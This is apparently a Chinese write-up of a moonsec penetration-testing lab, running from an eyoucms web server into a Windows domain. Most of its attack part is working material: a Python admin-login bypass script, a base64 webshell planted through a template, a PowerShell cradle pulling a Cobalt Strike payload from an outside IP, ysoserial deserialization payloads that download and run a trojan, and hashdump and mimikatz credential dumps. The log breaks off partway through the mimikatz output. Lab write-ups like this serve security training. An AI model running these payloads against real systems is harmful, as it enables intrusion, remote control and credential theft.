本次实验环境靶场来自于暗月(moonsec)师傅,文中内容全由个人理解编制,若有错处,大佬勿喷,个人学艺不精;本文中提到的任何技术都源自于靶场练习,仅供学习参考,请勿利用文章内的相关技术从事非法测试,如因产生的一切不良后果与文章作者无关。
这个是暗月渗透测试第五项目,本项目主要考核从外网web到内网域渗透的能力,主要考核内容包括以下:
web: php代码审计 、java反序列化漏洞利用等。
内网:隧道应用、横向渗透、域渗透等 。
主机名 | 账号和密码 | ip |
---|---|---|
ad | 域管理 vsmoon/administrator QWEasd…123 域通用户 vsmoon/data QWEasd…444 |
10.10.10.137 |
data | 管理员 administrator 密码 QWEasd12300 | 192.168.22.146 10.10.10.136 |
web | 管理员账号 administrator QWEadmin123 mysql账号和密码 mysql root root123.123 网站账号 admin 密码 !@#AAA112 |
192.168.0.116 192.168.22.152 |
# nmap -p 1-65535 -T4 -A -v 216.224.123.190
Not shown: 65524 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
80/tcp open http?
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
7000/tcp open ssl/afs3-fileserver?
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject:
| Issuer:
| Public Key type: rsa
| Public Key bits: 1024
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 1-01-01T00:00:00
| Not valid after: 1-01-01T00:00:00
| MD5: 9578d3a2934439723ebe50c0fca62eda
|_SHA-1: 01228061f6921fb5fda6aebedc0c44b3230a76ea
|_irc-info: Unable to open connection
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49152/tcp open msrpc Microsoft Windows RPC
49153/tcp open msrpc Microsoft Windows RPC
49154/tcp open msrpc Microsoft Windows RPC
49155/tcp open msrpc Microsoft Windows RPC
49157/tcp open msrpc Microsoft Windows RPC
49158/tcp open msrpc Microsoft Windows RPC
55999/tcp open ssl/unknown
|_ssl-date: 2022-10-02T15:08:01+00:00; +4s from scanner time.
| ssl-cert: Subject: commonName=HHQtTJ4985
| Issuer: commonName=HHQtTJ4985
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha1WithRSAEncryption
| Not valid before: 2022-09-04T07:49:04
| Not valid after: 2023-03-06T07:49:04
| MD5: c593fdc4f2e205202272ef72eba96874
|_SHA-1: 0251ccabdabda2dbfc4aa4dadd111d733b940b74
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
端口扫描没有看到什么有用的东西,只有一个 80 端口是可以访问的。
访问网站在网站下面发现为eyoucms 。
在百度搜索相关漏洞,可能存在 eyouCMS 1.5.2 前台getshell 漏洞
文章地址:https://www.cnblogs.com/1jzz/p/15489724.html
已知的后台登录地址:
http://216.224.123.190/login.php?s=Admin/login
我们先去官网下载对应的版本,设置 xdebug 用 Phpstorm 进行代码审计。
# php.ini xdebug 设置
[Xdebug]
zend_extension=C:/Penetration/TrafficTools/phpStudyV8/Extensions/php/php7.3.4nts/ext/php_xdebug.dll
xdebug.collect_params=1
xdebug.collect_return=1
xdebug.auto_trace=Off
xdebug.trace_output_dir=C:/Penetration/TrafficTools/phpStudyV8/Extensions/php_log/php7.3.4nts.xdebug.trace
xdebug.profiler_enable=Off
xdebug.profiler_output_dir ="C:/Penetration/TrafficTools/phpStudyV8/Extensions/tmp/xdebug"
xdebug.remote_enable=Off
xdebug.remote_host=localhost
xdebug.remote_port=9000
xdebug.remote_handler=dbgp
xdebug.remote_autostart=1
xdebug.remote_enable=On
xdebug.idekey="PHPSTORM"
Phpstorm 设置
后台登录判断
路径: application/admin/controller/Base.php
public function _initialize()
{
$this->session_id = session_id(); // 当前的 session_id
!defined('SESSION_ID') && define('SESSION_ID', $this->session_id); //将当前的session_id保存为常量,供其它方法调用
parent::_initialize();
//过滤不需要登陆的行为
$ctl_act = CONTROLLER_NAME.'@'.ACTION_NAME;
$ctl_all = CONTROLLER_NAME.'@*';
$filter_login_action = config('filter_login_action');
if (in_array($ctl_act, $filter_login_action) || in_array($ctl_all, $filter_login_action)) {
//return;
}else{
$web_login_expiretime = tpCache('web.web_login_expiretime');
empty($web_login_expiretime) && $web_login_expiretime = config('login_expire');
$admin_login_expire = session('admin_login_expire'); // 登录有效期web_login_expiretime
// 验证登录
if (session('?admin_id') && getTime() - intval($admin_login_expire) < $web_login_expiretime) {
session('admin_login_expire', getTime()); // 登录有效期
$this->check_priv();//检查管理员菜单操作权限
}else{
/*自动退出*/
adminLog('访问后台');
session_unset();
session::clear();
cookie('admin-treeClicked', null); // 清除并恢复栏目列表的展开方式
/*--end*/
if (IS_AJAX) {
$this->error('登录超时!');
} else {
$url = request()->baseFile().'?s=Admin/login';
$this->redirect($url);
}
}
}
/* 增、改的跳转提示页,只限制于发布文档的模型和自定义模型 */
$channeltype_list = config('global.channeltype_list');
$controller_name = $this->request->controller();
$this->assign('controller_name', $controller_name);
if (isset($channeltype_list[strtolower($controller_name)]) || 'Custom' == $controller_name) {
if (in_array($this->request->action(), ['add','edit'])) {
\think\Config::set('dispatch_success_tmpl', 'public/dispatch_jump');
$id = input('param.id/d', input('param.aid/d'));
('GET' == $this->request->method()) && cookie('ENV_IS_UPHTML', 0);
} else if (in_array($this->request->action(), ['index'])) {
cookie('ENV_GOBACK_URL', $this->request->url());
cookie('ENV_LIST_URL', request()->baseFile()."?m=admin&c={$controller_name}&a=index&lang=".$this->admin_lang);
}
}
if ('Archives' == $controller_name && in_array($this->request->action(), ['index_archives'])) {
cookie('ENV_GOBACK_URL', $this->request->url());
cookie('ENV_LIST_URL', request()->baseFile()."?m=admin&c=Archives&a=index_archives&lang=".$this->admin_lang);
}
/* end */
}
其中最重要的代码为
// 验证登录
if (session('?admin_id') && getTime() - intval($admin_login_expire) < $web_login_expiretime) {
session('admin_login_expire', getTime()); // 登录有效期
$this->check_priv();//检查管理员菜单操作权限
这里的判断为是否能够登录,成功后会设置登录的有效期。
其中的 check_priv 函数是验证我们是否拥有管理员权限的。
public function check_priv()
{
$ctl = CONTROLLER_NAME;
$act = ACTION_NAME;
$ctl_act = $ctl.'@'.$act;
$ctl_all = $ctl.'@*';
//无需验证的操作
$uneed_check_action = config('uneed_check_action');
if (0 >= intval(session('admin_info.role_id'))) {
//超级管理员无需验证
return true;
} else {
$bool = false;
/*检测是否有该权限*/
if (is_check_access($ctl_act)) {
$bool = true;
}
/*--end*/
/*在列表中的操作不需要验证权限*/
if (IS_AJAX || strpos($act,'ajax') !== false || in_array($ctl_act, $uneed_check_action) || in_array($ctl_all, $uneed_check_action)) {
$bool = true;
}
/*--end*/
//检查是否拥有此操作权限
if (!$bool) {
$this->error('您没有操作权限,请联系超级管理员分配权限');
}
}
}
这里可以看到如果 0 >= intval(session('admin_info.role_id'))
成立就直接返回 true 。
到这里我们还看不出来有什么漏洞,个人理解漏洞在于 application/admin/controller/Ajax.php
中的 get_token
方法,其中的 $name 是我们可以控制的并且还进行了md5的加密。
application/admin/controller/Ajax.php
public function get_token($name = '__token__')
{
if (IS_AJAX) {
echo $this->request->token($name);
exit;
} else {
abort(404);
}
}
我们再跟一下 token
函数
public function token($name = '__token__', $type = 'md5')
{
$type = is_callable($type) ? $type : 'md5';
$token = call_user_func($type, $_SERVER['REQUEST_TIME_FLOAT']);
if ($this->isAjax()) {
header($name . ': ' . $token);
}
Session::set($name, $token);
return $token;
}
REQUEST_TIME_FLOAT
为服务器的时间戳
这里还有一个小细节,这里有一个函数 isAjax
用于验证是否是 Ajax 请求,我们跟进看一下具体实现。
public function isAjax($ajax = false)
{
$value = $this->server('HTTP_X_REQUESTED_WITH', '', 'strtolower');
$result = ('xmlhttprequest' == $value) ? true : false;
if (true === $ajax) {
return $result;
} else {
$result = $this->param(Config::get('var_ajax')) ? true : $result;
$this->mergeParam = false;
return $result;
}
}
可以看到它只是判断了我们请求头中有没有 X_REQUESTED_WITH
并且值为 xmlhttprequest
,这个很好绕过,我们在请求的时候抓包添加一下就行了。
到这里有的人就有点懵了,这怎么就绕过登录了呢,我们先来梳理一下绕过流程:
session('?admin_id') && getTime() - intval($admin_login_expire) < $web_login_expiretime
这里决定我们能不能登录(0 >= intval(session('admin_info.role_id')))
这里决定我们是否是管理员权限其中的 admin_login_expire
、admin_id
和 admin_info.role_id
都是在 session 中取出来的,本来代码没有什么问题但是在 get_token
函数中我们能控制传入的 name,如果我们给它传入 admin_login_expire
、admin_id
和 admin_info.role_id
我们就变相的控制了这三个变量的值。
并且设置的 session 的 name 值还进行了MD5的加密,在 php 中使用 intval
类型转换如果失败就会返回 0。具体的东西可以在网上搜索一下 intval
的用法。
我们想一下如果admin_id
有值并且 admin_login_expire
和 admin_info.role_id
都为 0,是不是就满足了上面的两个条件了呢。
那剩下的利用就简单了,先给admin_id
一个值再编写一个脚本不断请求修改 admin_login_expire
和 admin_info.role_id
直到找到符合条件的值,然后使用成功的 PHPSESSION 去替换我们的 PHPSESSION 进行登录。
# -*- coding:utf-8 -*-
from time import time
import requests
import re
# 定义 header 头, 绕过 isAjax
header = {'x-requested-with': 'xmlhttprequest'}
# 定义一个 requests 会话
request = requests.session()
PHPSESSION = ""
# 绕过第一个判断
def get_session(url):
global PHPSESSION
# 设置 admin_id 并且,获取 PHPSESSION
payload = '/index.php'
result = request.get(url=url + payload, headers=header)
# 获取PHPSESSION
print("[+] PHPSESSION = " + re.search("PHPSESSID=(.*?);", result.headers["set-cookie"]).groups()[0])
PHPSESSION = re.search("PHPSESSID=(.*?);", result.headers["set-cookie"]).groups()[0]
def set_admin_id(url):
# 设置一个 admin_id 以绕过,第一个条件
payload = '/index.php?m=api&c=ajax&a=get_token&name=admin_id'
result = request.get(url=url + payload, headers=header).text
print(f"[+] 正在设置 admin_id -> [{result}]")
def set_admin_login_expire(url):
payload = "/index.php?m=api&c=ajax&a=get_token&name=admin_login_expire"
while True:
result = request.get(url=url + payload, headers=header).text
# 第二个判断条件,判断登录是否在一小时里
if (time() - int(change(result), 10) < 3600):
print("[+] admin_login_expire = " + result)
break
print(f"[INFO] 正在爆破 admin_login_expire -> [{result}]")
def set_admin_info_role_id(url):
payload = "/index.php?m=api&c=ajax&a=get_token&name=admin_info.role_id"
while True:
result = request.get(url=url + payload, headers=header).text
# 第三个判断条件,判断是否是管理员权限
if (int(change(result), 10) <= 0):
print("[+] admin_login_expire = " + result)
break
print(f"[INFO] 正在爆破 admin_info.role_id -> [{result}]")
def check_login(url):
payload = "login.php?m=admin&c=System&a=web&lang=cn"
result = request.get(url=url + payload).text
if "网站LOGO" in result:
print(f"[+] 使用 PHPSESSION -> [{PHPSESSION}] 登录成功!")
else:
print(f"[+] 使用 PHPSESSION -> [{PHPSESSION}] 登录失败!")
# 如果第一个字符为字母就直接返回0,不是则直到找到字母,并且返回前面不是字母的字符
def change(string):
temp = ''
for n, s in enumerate(string):
if n == 0:
if s.isalpha():
return '0'
break
if s.isdigit():
temp += str(s)
else:
if s.isalpha():
break
return temp
def run(url):
# 开始计时
time_start = time()
get_session(url)
set_admin_id(url)
set_admin_login_expire(url)
set_admin_info_role_id(url)
check_login(url)
print(f"[+] PHPSESSION = {PHPSESSION}")
# 结束计时
time_end = time()
print(f"[+] 总共用时 {int(time_end) - int(time_start)} s")
if __name__ == '__main__':
url = "http://192.168.0.116/"
run(url)
通过在网上的信息收集,使用 eyoucms 1.5.5 后台任意命令执行漏洞 getshell。
文章地址:https://blog.csdn.net/miuzzx/article/details/122235070
先使用脚本登录进后台
在模板管理中的index.htm
插入,写入冰蝎马的代码。
=file_put_contents("./uploads/allimg/sx.php",base64_decode("PD9waHAKQGVycm9yX3JlcG9ydGluZygwKTsKc2Vzc2lvbl9zdGFydCgpOwogICAgJGtleT0iZGZmZjBhN2ZhMWE1NWM4YyI7IAoJJF9TRVNTSU9OWydrJ109JGtleTsKCXNlc3Npb25fd3JpdGVfY2xvc2UoKTsKCSRwb3N0PWZpbGVfZ2V0X2NvbnRlbnRzKCJwaHA6Ly9pbnB1dCIpOwoJaWYoIWV4dGVuc2lvbl9sb2FkZWQoJ29wZW5zc2wnKSkKCXsKCQkkcG9zdD1zdHJfcmVwbGFjZSgiKiIsIj0iLCRwb3N0KTsKCQkkcG9zdD1zdHJfcmVwbGFjZSgiIyIsJGtleVswXSwkcG9zdCk7CgkJJHQ9ImJhc2U2NF8iLiJkZWNvZGUiOwoJCSRwb3N0PSR0KCRwb3N0LiIiKTsKCQlmb3IoJGk9MDskaTxzdHJsZW4oJHBvc3QpOyRpKyspIHsKICAgIAkJJHBvc3RbJGldID0gJHBvc3RbJGldXiRrZXlbJGkrMSYxNV07IAogICAgCX0KCX0KCWVsc2UKCXsKCQkkcG9zdD1zdHJfcmVwbGFjZSgiKiIsIj0iLCRwb3N0KTsKCQkkcG9zdD1zdHJfcmVwbGFjZSgiIyIsJGtleVswXSwkcG9zdCk7CgkJJHBvc3Q9b3BlbnNzbF9kZWNyeXB0KCRwb3N0LCAiQUVTMTI4IiwgJGtleSk7CgkJZm9yKCRpPTA7JGk8c3RybGVuKCRwb3N0KTskaSsrKSB7CiAgICAJCSRwb3N0WyRpXSA9ICRwb3N0WyRpXV4ka2V5WyRpKzEmMTVdOyAKICAgIAl9Cgl9CgkKICAgICRhcnI9ZXhwbG9kZSgnfCcsJHBvc3QpOwogICAgJGZ1bmM9JGFyclswXTsKICAgICRwYXJhbXM9JGFyclsxXTsKCWNsYXNzIEN7cHVibGljIGZ1bmN0aW9uIF9faW52b2tlKCRwKSB7ZXZhbCgkcC4iIik7fX0KICAgIEBjYWxsX3VzZXJfZnVuYyhuZXcgQygpLCRwYXJhbXMpOwo/Pgo="));
然后访问 http://192.168.0.116/index.php 生成冰蝎马,使用冰蝎进行连接密码 cmd。
使用 powershell 上线cs。
powershell IEX ((new-object net.webclient).downloadstring('http://43.143.15.244:7777/a'))
网卡信息收集
beacon> shell ipconfig
[*] Tasked beacon to run: ipconfig
[+] host called home, sent: 39 bytes
[+] received output:
Windows IP 配置
以太网适配器 Ethernet1:
连接特定的 DNS 后缀 . . . . . . . :
本地链接 IPv6 地址. . . . . . . . : fe80::1dbf:ab65:be0f:f2d6%14
IPv4 地址 . . . . . . . . . . . . : 192.168.22.152
子网掩码 . . . . . . . . . . . . : 255.255.255.0
默认网关. . . . . . . . . . . . . :
以太网适配器 Ethernet0:
连接特定的 DNS 后缀 . . . . . . . :
本地链接 IPv6 地址. . . . . . . . : fe80::c5e2:88c3:ca01:b8eb%12
IPv4 地址 . . . . . . . . . . . . : 192.168.0.116
子网掩码 . . . . . . . . . . . . : 255.255.255.0
默认网关. . . . . . . . . . . . . : 192.168.0.2
隧道适配器 isatap.{EB347315-9EA8-47D0-99FC-1F4625727AAC}:
媒体状态 . . . . . . . . . . . . : 媒体已断开
连接特定的 DNS 后缀 . . . . . . . :
隧道适配器 isatap.{AF68560E-849D-46A8-8A5D-9BD78D0C2A97}:
媒体状态 . . . . . . . . . . . . : 媒体已断开
连接特定的 DNS 后缀 . . . . . . . :
存在两个网段 192.168.22.0/24 、192.168.0.0/24
使用fscan扫描网段
使用cs的插件 LSTAR 上传 fscan 进行扫描。
# fscan.exe -h 192.168.22.1/24 -o out.txt
[+] received output:
___ _
/ _ \ ___ ___ _ __ __ _ ___| | __
/ /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__| <
\____/ |___/\___|_| \__,_|\___|_|\_\
fscan version: 1.6.3
start infoscan
(icmp) Target '192.168.22.152' is alive
(icmp) Target '192.168.22.146' is alive
(icmp) Target '192.168.22.1' is alive
icmp alive hosts len is: 3
192.168.22.146:135 open
192.168.22.152:139 open
192.168.22.152:3306 open
192.168.22.146:445 open
192.168.22.152:445 open
192.168.22.146:139 open
192.168.22.1:443 open
192.168.22.152:135 open
192.168.22.152:80 open
192.168.22.146:9999 open
alive ports len is: 10
start vulscan
NetInfo:
[*]192.168.22.152
[->]web
[->]192.168.0.116
[->]192.168.22.152
NetInfo:
[*]192.168.22.146
[->]data
[->]10.10.10.136
[->]192.168.22.146
[*] 192.168.22.152 WORKGROUP\WEB Windows Server 2012 R2 Standard 9600
[*] WebTitle:http://192.168.22.152 code:200 len:39 title:鍝嶅簲寮忛挘閲戣澶囧埗閫犵綉绔欐ā鏉�
[*] WebTitle:https://192.168.22.1 code:403 len:0 title:None
[*] 192.168.22.146 VSMOON\DATA Windows Server 2012 R2 Standard 9600
[+] received output:
看到存在 192.168.22.146 ,继续进行详细的端口扫描。
# fscan.exe -h 192.168.22.146 -np -p 1-65535 -o out.txt
# 加上 -np 的参数让它不要 ping 直接进行扫描
[+] received output:
___ _
/ _ \ ___ ___ _ __ __ _ ___| | __
/ /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__| <
\____/ |___/\___|_| \__,_|\___|_|\_\
fscan version: 1.6.3
start infoscan
192.168.22.146:139 open
192.168.22.146:135 open
192.168.22.146:445 open
[+] received output:
192.168.22.146:5985 open
[+] received output:
192.168.22.146:9999 open
[+] received output:
192.168.22.146:47001 open
[+] received output:
192.168.22.146:49159 open
192.168.22.146:49158 open
192.168.22.146:49157 open
192.168.22.146:49156 open
192.168.22.146:49155 open
192.168.22.146:49154 open
192.168.22.146:49153 open
192.168.22.146:49152 open
[+] received output:
alive ports len is: 14
start vulscan
[+] received output:
[*] WebTitle:http://192.168.22.146:5985 code:404 len:315 title:Not Found
[*] WebTitle:http://192.168.22.146:47001 code:404 len:315 title:Not Found
NetInfo:
[*]192.168.22.146
[->]data
[->]10.10.10.136
[->]192.168.22.146
[*] 192.168.22.146 VSMOON\DATA Windows Server 2012 R2 Standard 9600
[+] received output:
从端口上没有看到可以利用的点。当时在考核的时候一直没发现突破点,直到我使用rdp登录到桌面结合月师傅说第二台考验的是Java反序列化才发现了突破点。
桌面上存在一个 QQclient.jar
的 Java 文件并且还有账号密码。
beacon> shell type C:\Users\Administrator\Desktop\帐号.txt
[*] Tasked beacon to run: type C:\Users\Administrator\Desktop\帐号.txt
[+] host called home, sent: 75 bytes
[+] received output:
moonsec 123456
100 123456
除了截图桌面和登录系统,我们还可以使用 netstat -ano
查看可疑的程序连接
# netstat -ano
活动连接
协议 本地地址 外部地址 状态 PID
TCP 0.0.0.0:80 0.0.0.0:0 LISTENING 7156
TCP 0.0.0.0:135 0.0.0.0:0 LISTENING 588
TCP 0.0.0.0:445 0.0.0.0:0 LISTENING 4
TCP 0.0.0.0:3306 0.0.0.0:0 LISTENING 6416
TCP 0.0.0.0:5985 0.0.0.0:0 LISTENING 4
TCP 0.0.0.0:47001 0.0.0.0:0 LISTENING 4
TCP 0.0.0.0:49152 0.0.0.0:0 LISTENING 400
TCP 0.0.0.0:49153 0.0.0.0:0 LISTENING 696
TCP 0.0.0.0:49154 0.0.0.0:0 LISTENING 752
TCP 0.0.0.0:49155 0.0.0.0:0 LISTENING 992
TCP 0.0.0.0:49156 0.0.0.0:0 LISTENING 1052
TCP 0.0.0.0:49157 0.0.0.0:0 LISTENING 496
TCP 0.0.0.0:49158 0.0.0.0:0 LISTENING 5828
TCP 0.0.0.0:49161 0.0.0.0:0 LISTENING 504
TCP 127.0.0.1:53 0.0.0.0:0 LISTENING 1052
TCP 192.168.0.116:53 0.0.0.0:0 LISTENING 1052
TCP 192.168.0.116:139 0.0.0.0:0 LISTENING 4
TCP 192.168.0.116:49163 61.160.204.189:80 CLOSE_WAIT 7112
TCP 192.168.0.116:57694 43.143.15.244:6677 SYN_SENT 6244
TCP 192.168.22.152:53 0.0.0.0:0 LISTENING 1052
TCP 192.168.22.152:139 0.0.0.0:0 LISTENING 4
TCP 192.168.22.152:52440 192.168.22.146:9999 FIN_WAIT_2 5268
TCP 192.168.22.152:52479 192.168.22.146:9999 FIN_WAIT_2 5268
TCP 192.168.22.152:55078 192.168.22.146:9999 FIN_WAIT_2 5708
TCP 192.168.22.152:64100 192.168.22.146:9999 FIN_WAIT_2 5708
TCP [::]:80 [::]:0 LISTENING 7156
TCP [::]:135 [::]:0 LISTENING 588
TCP [::]:445 [::]:0 LISTENING 4
TCP [::]:3306 [::]:0 LISTENING 6416
TCP [::]:5985 [::]:0 LISTENING 4
TCP [::]:47001 [::]:0 LISTENING 4
TCP [::]:49152 [::]:0 LISTENING 400
TCP [::]:49153 [::]:0 LISTENING 696
TCP [::]:49154 [::]:0 LISTENING 752
TCP [::]:49155 [::]:0 LISTENING 992
TCP [::]:49156 [::]:0 LISTENING 1052
TCP [::]:49157 [::]:0 LISTENING 496
TCP [::]:49158 [::]:0 LISTENING 5828
TCP [::]:49161 [::]:0 LISTENING 504
TCP [::1]:53 [::]:0 LISTENING 1052
TCP [fe80::1dbf:ab65:be0f:f2d6%14]:53 [::]:0 LISTENING 1052
TCP [fe80::c5e2:88c3:ca01:b8eb%12]:53 [::]:0 LISTENING 1052
这里同样可以看到与 192.168.22.146:9999 的可疑连接。
我们在cs上下载 QQclient.jar
进行反编译分析
我们使用 jdGUI 打开 jar 包
关于Java反序列化,我们可以直接全局搜索函数 writeObject
和 readObject
通过全局搜索函数找到了以下的代码
public boolean checkUser(String userId, String pwd)
{
this.u.setUserId(userId);
this.u.setPasswd(pwd);
boolean b = false;
try
{
this.socket = new Socket(InetAddress.getByName("192.168.22.146"), 9999);
ObjectOutputStream oos = new ObjectOutputStream(this.socket.getOutputStream());
oos.writeObject(this.u);
ObjectInputStream ois = new ObjectInputStream(this.socket.getInputStream());
Message ms = (Message)ois.readObject();
if (ms.getMesType().equals("1"))
{
ClientConnectServerThread ClientConnectServerThread = new ClientConnectServerThread(this.socket);
ClientConnectServerThread.start();
ManageClientConnectServerThread.addClientConnectServerThread(userId, ClientConnectServerThread);
b = true;
}
else
{
this.socket.close();
}
}
catch (Exception e)
{
e.printStackTrace();
}
return b;
}
在代码中调用了 writeObject
方法进行序列化并且通过 socket 发送给了服务端,那我们就可以想一下服务端的代码会不会是接收 socket 然后使用 readObject
反序列化呢。
具体的服务端代码可以从 github 上搜索到,由于我的Java水平还不到家(才学到面向对象),自己写exp就算了。
具体的利用,还是直接使用网上的工具吧。
cs 生成转发上线的木马
我们把生成的木马上传到 web 的网站根目录,一会利用反序列化直接下载执行上线cs。
这里要想利用反序列化我们需要先确定服务端的Java版本,这里我查看了 web 上面的版本猜测服务器上面的版本应该是一样的。
beacon> shell java -version
[*] Tasked beacon to run: java -version
[+] host called home, sent: 44 bytes
[+] received output:
java version "1.8.0_65"
Java(TM) SE Runtime Environment (build 1.8.0_65-b17)
Java HotSpot(TM) 64-Bit Server VM (build 25.65-b01, mixed mode)
可以看到版本为 1.8.0_65
在 1.8.0__71
以下,那么这里可能能够使用 cc1链 来执行命令。
这里我直接使用 ysoserial
来生成攻击代码。
java -jar ysoserial-0.0.5-all.jar CommonsCollections1 "certutil -urlcache -split -f http://192.168.22.152/beacon.exe C:/windows/temp/cs.exe" > re.bin
java -jar ysoserial-0.0.5-all.jar CommonsCollections1 "C:/windows/temp/cs.exe" > re.bin
开启代理使用 nc 发送攻击代码
type re.bin | nc64.exe -vn 192.168.22.146 9999
因为我是Windows系统所以这里我使用 SocksCap64 来代理流量
执行下载木马的命令
运行木马
cs成功上线
查看网卡
# shell ipconfig
beacon> shell ipconfig
[*] Tasked beacon to run: ipconfig
[+] host called home, sent: 39 bytes
[+] received output:
Windows IP 配置
以太网适配器 Ethernet1:
连接特定的 DNS 后缀 . . . . . . . :
IPv4 地址 . . . . . . . . . . . . : 192.168.22.146
子网掩码 . . . . . . . . . . . . : 255.255.255.0
默认网关. . . . . . . . . . . . . :
以太网适配器 Ethernet0:
连接特定的 DNS 后缀 . . . . . . . :
IPv4 地址 . . . . . . . . . . . . : 10.10.10.136
子网掩码 . . . . . . . . . . . . : 255.255.255.0
默认网关. . . . . . . . . . . . . :
隧道适配器 isatap.{3584A6AF-8A8B-43AF-9A7B-052489073912}:
媒体状态 . . . . . . . . . . . . : 媒体已断开
连接特定的 DNS 后缀 . . . . . . . :
隧道适配器 isatap.{0669B5F2-DA59-4096-B162-1871A174DEB9}:
媒体状态 . . . . . . . . . . . . : 媒体已断开
连接特定的 DNS 后缀 . . . . . . . :
存在 10.10.10.1/24
网段,在cs上使用插件上传 fscan 扫描内网段
# fscan.exe -h 10.10.10.1/24 -o out.txt
[+] received output:
___ _
/ _ \ ___ ___ _ __ __ _ ___| | __
/ /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__| <
\____/ |___/\___|_| \__,_|\___|_|\_\
fscan version: 1.6.3
start infoscan
(icmp) Target '10.10.10.136' is alive
(icmp) Target '10.10.10.137' is alive
icmp alive hosts len is: 2
10.10.10.136:139 open
10.10.10.136:135 open
10.10.10.137:88 open
10.10.10.137:445 open
10.10.10.136:445 open
10.10.10.137:139 open
10.10.10.137:135 open
10.10.10.136:9999 open
alive ports len is: 8
start vulscan
NetInfo:
[*]10.10.10.136
[->]data
[->]10.10.10.136
[->]192.168.22.146
[*] 10.10.10.136 VSMOON\DATA Windows Server 2012 R2 Standard 9600
NetInfo:
[*]10.10.10.137
[->]ad
[->]10.10.10.137
[*] 10.10.10.137 (Windows Server 2012 R2 Standard 9600)
[*] 10.10.10.137 [+]DC __MSBROWSE__\AD Windows Server 2012 R2 Standard 9600
初步判断 10.10.10.137 为域控
定位域控
beacon> shell net time /domain
[*] Tasked beacon to run: net time /domain
[+] host called home, sent: 47 bytes
[+] received output:
\\ad.vsmoon.com 的当前时间是 2022/10/16 20:43:02
命令成功完成。
beacon> shell ping ad.vsmoon.com
[*] Tasked beacon to run: ping ad.vsmoon.com
[+] host called home, sent: 49 bytes
[+] received output:
正在 Ping ad.vsmoon.com [10.10.10.137] 具有 32 字节的数据:
来自 10.10.10.137 的回复: 字节=32 时间<1ms TTL=128
来自 10.10.10.137 的回复: 字节=32 时间<1ms TTL=128
来自 10.10.10.137 的回复: 字节=32 时间<1ms TTL=128
来自 10.10.10.137 的回复: 字节=32 时间<1ms TTL=128
10.10.10.137 的 Ping 统计信息:
数据包: 已发送 = 4,已接收 = 4,丢失 = 0 (0% 丢失),
往返行程的估计时间(以毫秒为单位):
最短 = 0ms,最长 = 0ms,平均 = 0ms
成功定位到域控 10.10.10.137
抓取hash和抓取明文
beacon> hashdump
[*] Tasked beacon to dump hashes
[+] host called home, sent: 82541 bytes
[+] received password hashes:
Administrator:500:aad3b435b51404eeaad3b435b51404ee:e0eaa205900fd89d4ebc9fe6176b4763:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
beacon> logonpasswords
[*] Tasked beacon to run mimikatz's sekurlsa::logonpasswords command
[+] host called home, sent: 297594 bytes
[+] received output:
Authentication Id : 0 ; 69234 (00000000:00010e72)
Session : Interactive from 1
User Name : DWM-1
Domain : Window Manager
Logon Server : (null)
Logon Time : 2022/10/16 19:11:43
SID : S-1-5-90-1
msv :
[00000003] Primary
* Username : DATA$
* Domain : VSMOON
* NTLM : dbcf2fc907129da73618daaacfda88e8
* SHA1 : 2a75e3d076e500e50799e31041af12feef4edb61
tspkg :
wdigest :
* Username : DATA$
* Domain : VSMOON
* Password : (null)
kerberos :
* Username : DATA$
* Domain : vsmoon.com
* Password : ]U;1IaK",]L2>NK_q@R"dtmq=p,K@3gpI=#*J*o13/3>A;O$/*]f'<9d1Q>=HFEC%$YE8h%6CG\tU#0B%@l"xm'8-r?^bH@V+c"pKwfKvbFCi$A`s&Sg)1D'
ssp :
credman :
Authentication Id : 0 ; 996 (00000000:000003e4)
Session : Service from 0
User Name : DATA$
Domain : VSMOON
Logon Server : (null)
Logon Time : 2022/10/16 19:11:43
SID : S-1-5-20
msv :
[00000003] Primary
* Username : DATA$
* Domain : VSMOON
* NTLM : dbcf2fc907129da73618daaacfda88e8
* SHA1 : 2a75e3d076e500e50799e31041af12feef4edb61
tspkg :
wdigest :
* Username : DATA$
* Domain : VSMOON
* Password : (null)
kerberos :
* Username : data$
* Domain : vsmoon.com
* Password : ]U;1IaK",]L2>NK_q@R"dtmq=p,K@3gpI=#*J*o13/3>A;O$/*]f'<9d1Q>=HFEC%$YE8h%6CG\tU#0B%@l"xm'8-r?^bH@V+c"pKwfKvbFCi$A`s&Sg)1D'
ssp :
credman :
Authentication Id : 0 ; 44725 (00000000:0000aeb5)
Session : UndefinedLogonType from 0
User Name : (null)
Domain : (null)
Logon Server : (null)
Logon Time : 2022/10/16 19:11:43
SID :
msv :
[00000003] Primary
* Username : DATA$
* Domain : VSMOON
* NTLM : dbcf2fc907129da73618daaacfda88e8
* SHA1 : 2a75e3d076e500e50799e31041af12feef4edb61
tspkg :
wdigest :
kerberos :
ssp :
credman :
Authentication Id : 0 ; 266563 (00000000:00041143)
Session : Interactive from 1
User Name : Administrator
Domain : DATA
Logon Server : DATA
Logon Time : 2022/10/16 19:12:59
SID : S-1-5-21-2857872562-3615050297-2583995794-500
msv :
[00010000] CredentialKeys
* NTLM : e0eaa205900fd89d4ebc9fe6176b4763
* SHA1 : 8d04efa26f0e2a54a3fbaf522076d8f217921751
[00000003] Primary
* Username : Administrator
* Domain : DATA
* NTLM : e0eaa205900fd89d4ebc9fe6176b4763
* SHA1 : 8d04efa26f0e2a54a3fbaf522076d8f217921751
tspkg :
wdigest :
* Username : Administrator
* Domain : DATA
* Password : (null)
kerberos :
* Username : Administrator
* Domain : DATA
* Password : (null)
ssp :
credman :
Authentication Id : 0 ; 997 (00000000:000003e5)
Session : Service from 0
User Name : LOCAL SERVICE
Domain : NT AUTHORITY
Logon Server : (null)
Logon Time : 2022/10/16 19:11:43
SID : S-1-5-19
msv :
